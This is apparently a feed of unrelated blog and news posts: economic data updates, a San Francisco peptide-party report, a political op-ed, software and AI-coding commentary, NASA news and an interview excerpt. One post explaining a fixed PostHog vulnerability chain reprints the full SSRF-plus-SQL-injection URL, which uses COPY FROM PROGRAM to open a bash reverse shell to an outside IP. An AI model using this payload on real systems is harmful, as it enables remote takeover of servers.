"Since almost all of the workers impacted by the pandemic have returned to the labor force, demographics will be the key driver of the participation rate in 2025 (barring some unseen event).  Demographics will be pushing the participation rate down over the next decade, so, my guess is the participation rate will decline to around 62.2% in December 2025."
Employment Pop Ratio and participation rate
The Labor Force Participation Rate was at 62.5% in November.

The participation rate dipped to 62.2% in July, but bounced back some at the end of the year.

This is down from the post pandemic peak of 62.8%.

The decline from demographics (retiring baby boomers) is now pushing down the rate, however, not as much as I expected.

3) Question #3 for 2025: What will the unemployment rate be in December 2025?
"My guess is the unemployment rate will decline to 4% or so by December 2025.  (Lower than the FOMC forecast of 4.2% to 4.5%)."
The unemployment rate was at 4.6% in November (the FOMC beat me on this one!).  Policy has been more negative for unemployment than I expected.

2) Question #2 for 2025: How much will job growth slow in 2025? Or will the economy lose jobs?
"So, my forecast is for gains of around 1.0 million jobs in 2025.  This will probably be the slowest job growth since 2010 (excluding the 2020 pandemic job losses)."
Employment per month
This graph shows the jobs added per month since January 2021.

Through November the economy has added 610 thousand jobs in 2025, well below my guess.

Policy has been negative for employment in 2025.


1) Question #1 for 2025: How much will the economy grow in 2025? Will there be a recession in 2025?
"Looking at 2025, a recession is mostly off the table. ... GDP growth is a combination of labor force growth and productivity. Productivity varies and is difficult to predict, but the labor force growth will likely be sluggish in 2025.  So, my guess is that real annual GDP growth will be less than most expect, perhaps around 1.5% in 2025."
We still do not have the GDP release for Q3.

I was correct about no recession, but growth will likely be closer to 2.0% or so in 2025.

For the most part, the economy evolved as expected in 2025. Policy impacted employment and unemployment more than I expected.

All I Want for Christmas Are Unregulated Chinese Peptides

Editor’s Note: You’re reading the first Core Memory piece by Kylie Robison. And we’re excited to say that there shall be many more.

Kylie started writing for Business Insider in 2021 and caught the tech world’s attention right away. She moved from BI to Fortune, The Verge and then Wired and always demonstrated a knack for finding stories that others had missed and writing them with style.

Kylie will be writing, podcasting and making videos across our various platforms. We cannot think of a better new voice for our audience and cannot wait to see what she does.

It takes considerable effort to get San Francisco techies into formal wear. It takes something approaching divine intervention to get them into a church.

Such a miracle occurred last Saturday night at The Star of the Sea Church. Inside you could find booze, a selection of plattered room temperature meats, and hundreds of folding chairs supporting the city’s extremely online sect. We were there to watch a debate hosted by the Hamilton Society, a club that has sparred over topics like “Christianity will destroy the West“ and this night’s topic, “Gene editing is an ethical necessity.”

“Dress code is strictly formal: suit and tie for men, equivalent for ladies,” the Luma invite for the event read. “Ties are not optional.”

I decided to stop by because, well, I wanted to see these people argue about eugenics. I also had a bit of time to kill before heading to a Chinese peptide rave, but more on that later.

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This past weekend was particularly frenetic, even by San Francisco standards. On Friday night, I went to a startup’s shark-themed rodeo (which featured an endless Guinness tap) followed by a brief jaunt to a black-tie affair at a tech billionaire’s Sea Cliff mansion. Texts were flying all weekend about where to go next: the a16z New Media party, a winter soiree at AI wunderkind Leopold Aschenbrenner’s house and probably other things I wasn’t cool enough to hear about.

The debate venue was built 131 years ago to serve the city’s growing Catholic population. While it served a different kind of congregation on Saturday night, the classic iconography was a reminder of his Holiness. A gilded portrait of Jesus on his knees stood stage right. White roses in terracotta vases flanked him on both sides. A portrait of Mother Mary was displayed in the middle. (The Bible remains unclear on her thoughts about gene editing.) A gentleman sitting in front of me told his friend: “With age, your neuroplasticity goes down. I’m retarded now.” The ceremony began.

The Chairman appeared. Members of the Hamilton Society were introduced. One of them declared that the room smelled really good. We pledged allegiance to the flag and were then taught how to agree with an argument by stomping our feet loudly, and disagree by hissing. Then, we all voted: is gene editing an ethical necessity? Many voted yes, I voted no, and very few abstained.

Unfortunately, this was my cue to leave. I couldn’t miss one second of the next event. I ran home for an outfit change from my floor-length dress to a bedazzled top. It was time to learn about Chinese peptides.

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PEPTIDES

This next event had two parts: a tour of a lab that sells peptides, and a rave two floors below.

“It will not be appropriate for you to talk about what you’re working on, discuss Landian techno-accelerationism, or share your thoughts on the AI-industrial spending complex and its’ [sic] ponzinomics once the music is playing,” the Luma invite read. “Instead, we ask very little except that [you] put your phone down, dance, and have a good time.”

This party was located at Frontier Tower, a 16-floor co-working space filled with scientists, technologists, and artists placed just on the edge of the Tenderloin. The venue’s website compares the fall of the Berlin Wall and the impact it had on Berlin’s culture to how this group is seizing empty office spaces to “redefine urban living.” Just outside of the tower’s entrance, the real urban community on 6th and Market lay in various crumpled positions on the cold sidewalk, some seemingly enjoying the start of their opioid-induced high.

I made my way to the 8th floor where I met a group of excited party goers waiting to be ushered through the lab. We nabbed beers from a refrigerator located in a nearby bathroom that I was told was usually reserved for lab materials. One particularly amped up attendee had brought a notepad, lest she forget any important nuggets on proper peptide injection.

I don’t inject peptides, but my friend who works in AI does, and she swears it helps with her bum knee. These molecules have become quite the thing here in the city! Essentially, peptides are chains of amino acids strung together (a tripeptide has three amino acids, a pentapeptide has five amino acids… you get the point). The peptide company hosting the event sells different combinations that it claims offer benefits such as accelerating “healing in tendons” and “increased collagen production.” One type of peptide you may be familiar with is Ozempic.

Since some of these peptides aren’t FDA approved, many people in San Francisco have been getting vials from dealers in China. My friend uses BPC-157 for her knee, which the FDA has specifically restricted access to. All of this interest in peptides seems to stem from the popularity of Ozempic and the city’s rich history of biohacking enthusiasts — which I don’t need to explain to you. Didn’t you watch Ashlee interview Bryan Johnson during the latter’s shroom trip?

While I’m not injecting them myself, I do appreciate a good science-themed party. As we waited for the lab tour, we investigated a long silver-draped table which displayed an assortment of props: crystals, peptide vials, molecular diagrams, a binocular microscope, toy molecules. Boxes labeled “WOLVERINE STACK” and “POWERHOUSE STACK” sat in the center. I briefly considered buying some to inject just for the story. [Where’s the commitment? - Ed.]

Finally, we were ushered through the lab’s door into a long, dark hallway. There were three offices set up as demonstration areas: one scientist taught you what a peptide is, the next explained how to inject it properly, and the third showed you how to take your own blood for testing purposes.

We were one of the first groups inside the lab. We sipped our beers and listened intently. It’s completely safe to inject peptides, the first demonstrator told us, and pretty difficult to fuck up. These kinds of molecules are similar to what our bodies naturally produce and will break down over time, so there’s generally lower risk, she explained.

We shuffled to the injection site. The studious notetaker immediately asked if we could inject peptides like NOW! The lab worker’s face contorted in subtle horror. No, absolutely not, he said.

The technician passed around capped needles and explained how to safely dilute the powdered peptide in a vial with bacteriostatic water. Each step was written on a white board: calculate your dose, translate into syringe units, and reconstitute. Beer cans stacked up in the biomedical waste bin nearby.

I cut out of class early and went to check out the next demonstration—just in time, apparently, because I walked up to a woman poking a needle into a vein (her own). I had no idea blood made me that woozy until I watched it pour out of her body and drain into a long tube. As I turned my head away, a neighbor giggled at my incoming nausea.

RAVE

Attendees covered in sparkles and donned in light-up accessories started to trickle into the 6th floor. The DJ mixed electronic tracks while the structures of different chemical compounds swirled on a screen behind him.

Guess that chemical compound! (Credit: Kylie Robison)

I wasn’t here just for the story. It was actually my friend-from-the-internet’s birthday. Chairman Birb, as she’s known on social media, sported holographic pants and a sash that read “Birthed to mog.” The last time I got to hang with Birb was at a party for her friend’s press-on manicure product that contained an NFC chip. Despite being based in New York, she’s quintessentially SF, down to her own peptide stack.

Once my friends arrived, I was excited to show them the lab tour. We dashed upstairs just in time to watch the technician at the peptide injection demonstration actually inject himself, which he claimed was the only time that night he’d be doing such a thing. I asked him afterwards where the blood lady had gone. You can only draw your own blood so many times in one night, he explained.

At this point, I’d been dashing around San Francisco for 48 hours straight. Exhaustion hit. Still, we danced. Someone came up to my friend and asked if he wanted any molly. A pair in front of the DJ were making out aggressively. Knee-high boots stomped and swayed around us. I partied until I couldn’t anymore, then slipped into a driverless taxi and headed home.


[Update, December 18: Corrected to reflect that the NFC nail product belongs to a friend, not Birb. And many, not most, voted for gene editing as an ethical necessity according to two members of the Hamilton Society.]

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Why Trump’s Viciousness Matters

My first reaction upon reading Donald Trump’s despicable statement on the murders of Rob Reiner and his wife Michele was a sense of both shock and lack of surprise. It wasn’t news to me that the president of the United States is a vicious shmuck. My second reaction was the thought that I have nothing new to contribute here, as plenty of other people were already denouncing yet another example of Trump’s vindictive narcissism.

Yet, on reflection, I realized that there’s a story here that’s bigger than Trump, a story in which Trump is one especially egregious example of a larger pattern. What is that pattern? That being vicious and bigoted is cool, is based in current slang. Trump is one data point in the midst of an epidemic of performative hatemongering in America. And while most of this is emanating from right-wing extremists, not all of it is.

I am not going to present some rose-tinted, Pollyannaish view of America’s past here. There were people who crowed over the assassination of Martin Luther King Jr. For most of our history there were Americans who reveled in harming, subjugating and dispossessing those who were considered of the wrong race, ethnicity, religion, sexual orientation or gender identity. But we, as a country, changed. Over time, Americans on the whole became more humane and tolerant.

It’s true that significant numbers of Americans were never fully on board with liberal humanism. For example, a majority of white American’s didn’t approve of interracial marriage until 1997. However, we were slowly becoming a country in which open bigotry was frowned upon. Although we were never perfect, there was a growing sense of norms that contained any underlying hatred.

Now the impulse to hate is back. For example, according to a long-running survey conducted by NORC and the ADL, antisemitism has been making a big comeback:

Antisemitic Attitudes in America 2024

Source

And Trump has made innumberable crudely racist comments about Black Americans, particularly about Black American women. He’s demonized immigrants and Muslims, and suggested Democratic politicians should be executed. But the resurgence of hate speech isn’t just about Trump, nor is it solely about politics. Grown men — it’s mostly, although not only, men — now feel free to be publicly cruel and vindictive, spouting childish insults against whomever they dislike.

Why is this happening? The rise of social media is one significant factor in making it far easier for the like-minded to find one another and magnify their hate.

The app formerly known as Twitter is thoroughly infested with bigots and bots, and all too many people who immerse themselves in that toxic environment end up internalizing the viciousness. Even right-wing activists like Chris Rufo are complaining that X has been “increasingly hijacked by bad actors who peddle baseless conspiracies and indulge their personal psychopathologies.” And G. Elliott Morris’s Substack “Strength in Numbers” has an excellent post on how Fox News polarized American voters and helped break American politics.

However, media alone are not to blame. I’ve been reading the British economist Simon Wren-Lewis, who has been writing about “the growing acceptability of xenophobic discourse” in the UK. His thesis is that there have always been a substantial number of people in Britain — and, surely, in every Western nation — who are socially reactionary and racist. In the past, however, mainstream political parties refused to associate themselves with anyone espousing such views. Eventually the cynical search for votes led to a breakdown of this cordon sanitaire — the Germans call their equivalent the Brandmauer, or firewall — and the latent viciousness broke into the open.

In a follow-up post Wren-Lewis, citing the work of the political scientist Vicente Valentim, acknowledges thatbroader social norms, largely established after World War II, also made overt racism and other forms of bigotry unacceptable in the public sphere. Even people who were privately cruel and bigoted – some of them in influential positions – felt obliged to be hypocrites and hide their true nature.

In time, however, events, ranging from the Syrian refugee crisis in Germany to the election of America’s first Black president, loosened the grip of these social norms. The already-existing pool of cruelty and bigotry, which had previously been veiled by hypocrisy, came back into full view.

A similar phenomenon is occurring in the US, where some Trump supporters are gleeful that Trump’s presidency will allow them to drop the veil of hypocrisy. For example, the Financial Times reported on the reasons some on Wall Street were welcoming Trump’s return:

“I feel liberated,” said a top banker. “We can say ‘retard’ and ‘pussy’ without the fear of getting cancelled . . . it’s a new dawn.”

But where I would differ from Wren-Lewis’s analysis — although I’m not sure Simon would disagree — is that he implicitly treats the number of reactionaries and bigots as immutable. In fact, as G. Elliott Morris likes to point out, ordinary voters’ positions on issues — and, I’d argue, elites’ positions too — are far less fixed than political strategists tend to assume. They can and do shift greatly based on what people hear.

If this is true, then the world in which we lived until recently was a world in which the general public was steered away from the worst bigotry because, over time, it had been made socially unacceptable. Yes, there was substantial hypocrisy lurking below the surface, but the hypocrisy was a useful tool that reduced the amount of violent and hate-filled rhetoric.

Now, Trump is purposely breaking norms and engaging in open expressions of hate and bigotry. And among a set of people, this serves as a signal that it’s now socially acceptable to do the same – look, for example, atthe extremely racist and Nazi-praising chats among young Republican activists leaked to Politico. While these young MAGA-landers were outed and chastised, it’s clear that within MAGA-world emulating Trump’s hate-filled rhetoric is considered a way of signaling that you are loyal to the movement.

And it’s also clear that if Trumpism persists, we are facing a future in which such behavior is no longer publicly unacceptable. Because Trump’s remarks about the murder of the Reiners weren’t just his personal venting. They were a symptom and a symbol of his systematic destruction of our norms, our humanism, just as he tried to destroy the norms of American democracy on January 6, 2021. It’s a profoundly nihilistic vision for America.

And one of these days, I predict, history will judge harshly those who stayed silent.

Addendum: Trump gave a speech on the economy last night. It was nasty, brutish but mercifully short. It was, of course, full of lies. Were there any true factual claims? So far I haven’t found any. And it closed out with ugly claims about immigrants. A few more words about it tomorrow.

MUSICAL CODA

Your job is to deliver code you have proven to work

In all of the debates about the value of AI-assistance in software development there's one depressing anecdote that I keep on seeing: the junior engineer, empowered by some class of LLM tool, who deposits giant, untested PRs on their coworkers - or open source maintainers - and expects the "code review" process to handle the rest.

This is rude, a waste of other people's time, and is honestly a dereliction of duty as a software developer.

Your job is to deliver code you have proven to work.

As software engineers we don't just crank out code - in fact these days you could argue that's what the LLMs are for. We need to deliver code that works - and we need to include proof that it works as well. Not doing that directly shifts the burden of the actual work to whoever is expected to review our code.

How to prove it works

There are two steps to proving a piece of code works. Neither is optional.

The first is manual testing. If you haven't seen the code do the right thing yourself, that code doesn't work. If it does turn out to work, that's honestly just pure chance.

Manual testing skills are genuine skills that you need to develop. You need to be able to get the system into an initial state that demonstrates your change, then exercise the change, then check and demonstrate that it has the desired effect.

If possible I like to reduce these steps to a sequence of terminal commands which I can paste, along with their output, into a comment in the code review. Here's a recent example.

Some changes are harder to demonstrate. It's still your job to demonstrate them! Record a screen capture video and add that to the PR. Show your reviewers that the change you made actually works.

Once you've tested the happy path where everything works you can start trying the edge cases. Manual testing is a skill, and finding the things that break is the next level of that skill that helps define a senior engineer.

The second step in proving a change works is automated testing. This is so much easier now that we have LLM tooling, which means there's no excuse at all for skipping this step.

Your contribution should bundle the change with an automated test that proves the change works. That test should fail if you revert the implementation.

The process for writing a test mirrors that of manual testing: get the system into an initial known state, exercise the change, assert that it worked correctly. Integrating a test harness to productively facilitate this is another key skill worth investing in.

Don't be tempted to skip the manual test because you think the automated test has you covered already! Almost every time I've done this myself I've quickly regretted it.

Make your coding agent prove it first

The most important trend in LLMs in 2025 has been the explosive growth of coding agents - tools like Claude Code and Codex CLI that can actively execute the code they are working on to check that it works and further iterate on any problems.

To master these tools you need to learn how to get them to prove their changes work as well.

This looks exactly the same as the process I described above: they need to be able to manually test their changes as they work, and they need to be able to build automated tests that guarantee the change will continue to work in the future.

Since they're robots, automated tests and manual tests are effectively the same thing.

They do feel a little different though. When I'm working on CLI tools I'll usually teach Claude Code how to run them itself so it can do one-off tests, even though the eventual automated tests will use a system like Click's CLIRunner.

When working on CSS changes I'll often encourage my coding agent to take screenshots when it needs to check if the change it made had the desired effect.

The good news about automated tests is that coding agents need very little encouragement to write them. If your project has tests already most agents will extend that test suite without you even telling them to do so. They'll also reuse patterns from existing tests, so keeping your test code well organized and populated with patterns you like is a great way to help your agent build testing code to your taste.

Developing good taste in testing code is another of those skills that differentiates a senior engineer.

The human provides the accountability

A computer can never be held accountable. That's your job as the human in the loop.

Almost anyone can prompt an LLM to generate a thousand-line patch and submit it for code review. That's no longer valuable. What's valuable is contributing code that is proven to work.

Next time you submit a PR, make sure you've included your evidence that it works as it should.

Tags: programming, careers, ai, generative-ai, llms, ai-assisted-programming, ai-ethics, vibe-coding, coding-agents

Inside PostHog: How SSRF, a ClickHouse SQL Escaping 0day, and Default PostgreSQL Credentials Formed an RCE Chain

Inside PostHog: How SSRF, a ClickHouse SQL Escaping 0day, and Default PostgreSQL Credentials Formed an RCE Chain

Mehmet Ince describes a very elegant chain of attacks against the PostHog analytics platform, combining several different vulnerabilities (now all reported and fixed) to achieve RCE - Remote Code Execution - against an internal PostgreSQL server.

The way in abuses a webhooks system with non-robust URL validation, setting up a SSRF (Server-Side Request Forgery) attack where the server makes a request against an internal network resource.

Here's the URL that gets injected:

http://clickhouse:8123/?query=SELECT++FROM+postgresql('db:5432','posthog',\"posthog_use'))+TO+STDOUT;END;DROP+TABLE+IF+EXISTS+cmd_exec;CREATE+TABLE+cmd_exec(cmd_output+text);COPY+cmd_exec+FROM+PROGRAM+$$bash+-c+\\"bash+-i+>%26+/dev/tcp/172.31.221.180/4444+0>%261\\"$$;SELECT++FROM+cmd_exec;+--\",'posthog','posthog')#

Reformatted a little for readability:

http://clickhouse:8123/?query=
SELECT *
FROM postgresql(
    'db:5432',
    'posthog',
    "posthog_use')) TO STDOUT;
    END;
    DROP TABLE IF EXISTS cmd_exec;
    CREATE TABLE cmd_exec (
        cmd_output text
    );
    COPY cmd_exec
    FROM PROGRAM $$
        bash -c \"bash -i >& /dev/tcp/172.31.221.180/4444 0>&1\"
    $$;
    SELECT * FROM cmd_exec;
    --",
    'posthog',
    'posthog'
)
#

This abuses ClickHouse's ability to run its own queries against PostgreSQL using the postgresql() table function, combined with an escaping bug in ClickHouse PostgreSQL function (since fixed). Then that query abuses PostgreSQL's ability to run shell commands via COPY ... FROM PROGRAM.

The bash -c bit is particularly nasty - it opens a reverse shell such that an attacker with a machine at that IP address listening on port 4444 will receive a connection from the PostgreSQL server that can then be used to execute arbitrary commands.

Via Hacker News

Tags: postgresql, security, webhooks, clickhouse

AoAH Day 15: Porting a complete HTML5 parser and browser test suite

AoAH Day 15: Porting a complete HTML5 parser and browser test suite

Anil Madhavapeddy is running an Advent of Agentic Humps this year, building a new useful OCaml library every day for most of December.

Inspired by Emil Stenström's JustHTML and my own coding agent port of that to JavaScript he coined the term vibespiling for AI-powered porting and transpiling of code from one language to another and had a go at building an HTML5 parser in OCaml, resulting in html5rw which passes the same html5lib-tests suite that Emil and myself used for our projects.

Anil's thoughts on the copyright and ethical aspects of this are worth quoting in full:

The question of copyright and licensing is difficult. I definitely did some editing by hand, and a fair bit of prompting that resulted in targeted code edits, but the vast amount of architectural logic came from JustHTML. So I opted to make the LICENSE a joint one with Emil Stenström. I did not follow the transitive dependency through to the Rust one, which I probably should.

I'm also extremely uncertain about every releasing this library to the central opam repository, especially as there are excellent HTML5 parsers already available. I haven't checked if those pass the HTML5 test suite, because this is wandering into the agents vs humans territory that I ruled out in my groundrules. Whether or not this agentic code is better or not is a moot point if releasing it drives away the human maintainers who are the source of creativity in the code!

I decided to credit Emil in the same way for my own vibespiled project.

Via @avsm

Tags: definitions, functional-programming, ai, generative-ai, llms, ai-assisted-programming, ai-ethics, vibe-coding, ocaml

Meet the American investors rushing into Congo

They are taking on war, corruption and China

YoY Measures of Inflation: Services, Goods and Shelter

SPECIAL NOTE: October prices (data not collected) were averaged between September and November for these graphs.

Here are a few measures of inflation:

The first graph is the one Fed Chair Powell had mentioned two years ago as something to watch.  

Services ex-ShelterClick on graph for larger image.

This graph shows the YoY price change for Services and Services less rent of shelter through August 2025.

Services were up 3.2% YoY as of November 2025, down from 3.6% YoY in September.

Services less rent of shelter was up 3.5% YoY in November, down from 3.7% YoY in September..

Goods CPIThe second graph shows that goods prices started to increase year-over-year (YoY) in 2020 and accelerated in 2021 due to both strong demand and supply chain disruptions.

Now the YoY change in prices is increasing due to tariffs.

Durables were up 1.5% YoY as of November 2025, down from 1.8% YoY in September.

Commodities less food and energy commodities were at 1.4% YoY in November, down from 1.5% YoY in September.

ShelterHere is a graph of the year-over-year change in shelter from the CPI report (through November) and housing from the PCE report (through September)

Shelter was up 3.0% year-over-year in November, down from 3.6% in September. Housing (PCE) was up 3.4% YoY in September, down from 3.9% in August.

This is still catching up with private new lease data (this includes renewals whereas private data is mostly for new leases).

Core CPI ex-shelter was up 2.3% YoY in November, down from 2.6% YoY in September.

Weekly Initial Unemployment Claims Decrease to 224,000

The DOL reported:
In the week ending December 13, the advance figure for seasonally adjusted initial claims was 224,000, a decrease of 13,000 from the previous week's revised level. The previous week's level was revised up by 1,000 from 236,000 to 237,000. The 4-week moving average was 217,500, an increase of 500 from the previous week's revised average. The previous week's average was revised up by 250 from 216,750 to 217,000.
emphasis added
The following graph shows the 4-week moving average of weekly claims since 1971.

Click on graph for larger image.

The dashed line on the graph is the current 4-week average. The four-week average of weekly unemployment claims increased to 217,500.

BLS: CPI Increased 0.2% Over 2 Months; Core CPI increased 0.2%

From the BLS:
The Consumer Price Index for All Urban Consumers (CPI-U) increased 0.2 percent on a seasonally adjusted basis over the 2 months from September 2025 to November 2025, the U.S. Bureau of Labor Statistics reported today. Over the last 12 months, the all items index increased 2.7 percent before seasonal adjustment. BLS did not collect survey data for October 2025 due to a lapse in appropriations.

The seasonally adjusted index for all items less food and energy rose 0.2 percent over the 2 months ending in November. From September to November, the index for shelter increased 0.2 percent. The energy index rose 1.1 percent over the same 2-month period and the food index increased 0.1 percent. Other indexes which increased over the 2 months ending in November include household furnishings and operations, communication, and personal care. In contrast, the indexes for lodging away from home, recreation, and apparel decreased over the same 2-month period.

The all items index rose 2.7 percent for the 12 months ending November, after rising 3.0 percent over the 12 months ending September. The all items less food and energy index rose 2.6 percent over the last 12 months. The energy index increased 4.2 percent for the 12 months ending November. The food index increased 2.6 percent over the last year.
emphasis added
The change in CPI was below expectations. I'll post a graph later today after the Cleveland Fed releases the median and trimmed-mean CPI.

Watch who you’re calling childless

Women in America are having as many babies over their lifetimes as they did two decades ago

Senate confirms Jared Isaacman as 15th NASA Administrator

Jared Isaacman, President Donald Trump’s nominee to be the next administrator of NASA, appears before the Senate Committee on Commerce, Science, and Transportation, Wednesday, Dec. 3, 2025, at the Russell Senate Office Building in Washington. Image: NASA/Joel Kowsky

Jared Isaacman was confirmed by the U.S. Senate to be NASA’s newest administrator on Wednesday afternoon.

The commercial astronaut, entrepreneur, and philanthropist received 67 votes of approval with 30 senators voting against his confirmation.

“For nearly 70 years, the United States has been at the forefront of space exploration. President Trump knows how critical it is to reinvigorate NASA as we aim to reach new heights in the greatest frontier ever known, and that’s why he chose exactly the right man for the job,” wrote Sen. Tim Sheehy (R-MT) in a social media post shortly after the vote.

“I’m proud to see [Jared Isaccman] confirmed as our NASA administrator and confident he will work tirelessly to ensure America wins the 21st century space race.”

Messages of support came in swiftly for Isaacman, ranging from industry members to special interest groups, like the American Institute for Aeronautics and Astronautics and the Planetary Society.

“After nearly a year of historic disruptions to the agency’s workforce, facilities, and budget, Mr. Isaacman has the opportunity to stabilize and reinvigorate the U.S. space program,” the Planetary Society wrote in a social media statement. “Congress is on a path to provide Mr. Isaacman with a restored budget that better funds national priorities: returning humans to the Moon, maintaining U.S. leadership in space science and exploration, and training the next generation of scientists and aerospace engineers.

“This is a remarkable statement of support for NASA’s mission, and Mr. Isaacman publicly committed to make full use of the funds that Congress provides.”

A date for Isaacman’s official swearing in ceremony hasn’t been announced, but is expected soon, potentially before the Christmas holiday.

Isaacman was first announced as President Donald Trump’s pick for the position of NASA Administrator on Dec. 4, 2024, and sat for his first confirmation hearing on April 9.

About a month and a half later, the President withdrew that nomination amid the backdrop of a very public falling out with SpaceX founder and one of Trump’s biggest political donors, Elon Musk.

Isaacman was renominated to the position on Nov. 4 and had a second confirmation hearing less than a month later.

Secretary of Transportation Sean Duffy was named acting administrator replacing the interim Administrator, Janet Petro, who returned to her role as director of the Kennedy Space Center in Florida.

“Congratulations to Jared Isaacman on his confirmation as NASA Administrator,” Duffy wrote in a social media post. “It’s been an honor to help drive [The President’s]’ vision for American leadership in space. I wish Jared success as he begins his tenure and leads NASA as we go back to the Moon in 2028 and beat China.”

A busy time ahead

Isaacman will step into the Administrator role at an inflection point for the agency with Congress and the Trump Administration pushing different directions for the agency. Also a reduction in the NASA workforce and brutal budget cuts will create a challenging environment.

Most immediately, NASA is on the cusp of launching the Artemis 2 mission, the first crewed flight of the Orion spacecraft, which will fly around the Moon and back to Earth on a 10-day mission, as soon as early February.

From left, Sean McCrary and Katie Mortensen, mechanical engineering technicians, paint NASA’s Artemis logo on the White Room connected to the crew access arm and mobile launcher inside the Vehicle Assembly Building at NASA’s Kennedy Space Center in Florida on Thursday, Dec. 4, 2025. The White Room is the area where the Artemis 2 crew Reid Wiseman, Victor Glover, Christina Koch, and CSA (Canadian Space Agency) astronaut Jeremy Hansen will enter the Orion spacecraft ahead of launch from Launch Complex 39B at NASA Kennedy in early 2026. Image: NASA/Frank Michaux

Across his two confirmation hearings, Isaacman faced numerous questions about his views on the Artemis program, which uses the Space Launch System (SLS) rocket and Orion spacecraft for lunar expeditions.

In his list of questions for the record following Isaacman’s second nomination hearing, Sen. Katie Britt (R-AL) pushed Isaacman on his support for using the SLS rocket through the Artemis 5 mission. She noted that he’d previously talked about the potential for using commercial heavy lift rockets on the Artemis 4 and Artemis 5 missions.

“SLS is the fastest path to achieving America’s near-term lunar objectives through Artemis 5,” Isaacman wrote in response. “Pivoting to another architecture earlier than contemplated in the One Big Beautiful Bill could place the nation at an unacceptable risk of a strategic capability gap. I will, of course, follow the law.”

On the other side of the aisle, Sen. Maria Cantwell (D-WA) asked Isaacman about the initiative started by Duffy to reopen the competition for the Artemis 3 Human Landing System (HLS) contract. NASA confirmed that it had received proposals for expedited landing options from SpaceX and Blue Origin and would see input from the broader industry in time.

“If confirmed, I fully intend to solicit feedback from all commercial partners on ways to reduce requirements and remove obstacles that impede America’s near-term lunar objectives,” Isaacman wrote in response. “This applies not only to Blue Origin and SpaceX, but to Lockheed Martin, Boeing, Northrop, and every other vendor contributing to Artemis and NASA’s broader mission.

“As I stated during the hearing, America is best served when both HLS providers are able to compete–and as a nation, we must select the first landing system ready to ensure the United States returns to the Moon before China.”

An artist’s rendering of the Human Landing System version of Starship docking with NASA’s Orion spacecraft in lunar orbit. Graphic: SpaceX

Isaacman also faces challenges with NASA’s science budget. The President’s Budget Request, issued earlier this year, proposed deep cuts to science, with the Earth science portion taking a heavy reduction.

Asked by Sen. Dan Sullivan (R-AK) about the President’s proposal to eliminate the Office of STEM Engagement (OSTEM) and reduce the funding to the NASA Research Opportunities in Space and Earth Sciences (ROSES) program, Isaacman said the following:

“If confirmed, I can commit to being an advocate for science and a strong American workforce and will do all I can to maximize the scientific value of every dollar provided by Congress.”

Economics job market update

From John A. List:

AEA job market update. The numbers don’t lie, as this is the toughest market for PhD economists in recent memory.

JOE listings are down 20% from last year. Worse: they are 19% below COVID levels. Let that sink in.

The academic market took the biggest hit. Full-time US positions dropped 33% year-over-year. Liberal arts colleges and PhD-granting universities? Both down about a third. International academic postings fell 13% from last year, 25% from COVID.

Nonacademic isn’t much better: down 27% from last year, 45% below COVID. And federal government hiring? That’s where it gets ugly. Down 71% year-over-year, 79% below COVID. DOGE cuts plus the shutdown created a perfect storm.

One bright spot: private sector jobs in consulting, research, banking, and finance are holding steady at recent-year levels.

Bottom line for candidates: the data confirm what you’re feeling. It’s brutal out there. Universities facing their own financial pressures should still find ways to bridge unmatched candidates for another year. The talent is there—the opportunities aren’t. H/T John Cawley

Here is the link to the tweet.

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We’re getting down to the wire for gifts to be shipped in time for Xmas. Take a look at the 2025 Kottke Holiday Gift Guide if you still need to shop for your fam & friends.

My Conversation with Alison Gopnik

Here is the audio, video, and transcript.  Here is part of the episode summary:

Tyler and Alison cover how children systematically experiment on the world and what study she’d run with $100 million, why babies are more conscious than adults and what consciousness even means, episodic memory and aphantasia, whether Freud got anything right about childhood and what’s held up best from Piaget, how we should teach young children versus school-age kids, how AI should change K-12 education and Gopnik’s case that it’s a cultural technology rather than intelligence, whether the enterprise of twin studies makes sense and why she sees nature versus nurture as the wrong framework entirely, autism and ADHD as diagnostic categories, whether the success of her siblings belies her skepticism about genetic inheritance, her new project on the economics and philosophy of caregiving, and more.

Excerpt:

COWEN: If it’s something like height, where there is clearly an environmental component, especially if the child is not well-fed, but it seems perfectly fine to say above a certain dietary level, it’s mostly genetic, right? No one says that’s ambiguous, and more and more traits will become like that.

GOPNIK: Well, first of all, I’m not sure that’s true. To a striking degree, the traits that people have looked at, like educational attainment, for example — we haven’t found consistent relationships to genetics. I think the reason for that is exactly because there’s this very complicated developmental process that goes from the genetics to the outcome.

Even if you think about fruit flies, for example. I have some geneticist colleagues who work on this — fruit fly sex determination. You’d think, “Well, that has to be just the result of genes.” It turns out that there’s this long developmental — long by fruit fly standards — developmental process that goes from the genetics to the proteins to the morphology, and there’s lots of possibility of variation throughout that. I think that hasn’t turned out to be a scientifically helpful way of understanding what’s going on in development.

The other thing, of course, is, from my perspective, the common features of, say, what kids are doing are much more interesting than the variations. What I really want to know is how is it that anyone could have a brain that enables them to accomplish these amazing capacities? Thinking about, is this child smarter than the other one, given how unbelievably smart all of them are to begin with, I just think it’s not an interesting question.

COWEN: But say, what you would call the lay belief that smarter parents give birth to smarter children, at least above subsistence — surely you would accept that, right?

GOPNIK: Again, what does smarter mean?

COWEN: How you would do on an IQ test.

GOPNIK: What does genetics mean? It’s interesting, Tyler, that IQ tests, for example — they have their own scholarly and scientific universe, but they’re not something that we would teach about or think about in a developmental psychology class, and there’s a good principled reason for that. The good principled reason — this has come up a lot in AI recently. There’s this idea in AI of artificial general intelligence, and that is assuming that there’s something called general intelligence.

Again, I think, a lot like consciousness or life, it’s one of these lay ideas about how people work. When you actually look at children, for example, what you see is not just that there isn’t a single thing that’s general intelligence. You actually see different cognitive capacities that are in tension with one another. You mentioned one about the scientist who’s trying to think of some new idea versus the scientist who’s looking at a more specific idea, right? A classic example of this tension that I’ve talked about and studied is in computer sciences: exploration versus exploitation.

What do you count as IQ? In fact, most of what IQ is about is how well do you do in school? How well do you do on school tests? That’s actually, in many respects, in tension with how good are you at exploring the world around you? The kinds of things that you need to do to have particular goals, to accomplish them, the kinds of things that we emphasize a lot, say, in a school context, are actually in tension. This gets back to the point about babies being more conscious than we are — are actually in tension with the kinds of things that will let you explore.

Think about the Bayesian example. If you have a flatter prior, and you pay more attention to evidence, you are probably not going to do as well on an IQ test…

COWEN: There’s you — you’re tenured at Berkeley, you’re famous. There’s Blake, The Definitive Warhol Biography, and Adam, who’s amazing, writes for the New Yorker, and you don’t believe inheritability and IQ being very concrete things? I just don’t get it. I think you’re in denial.

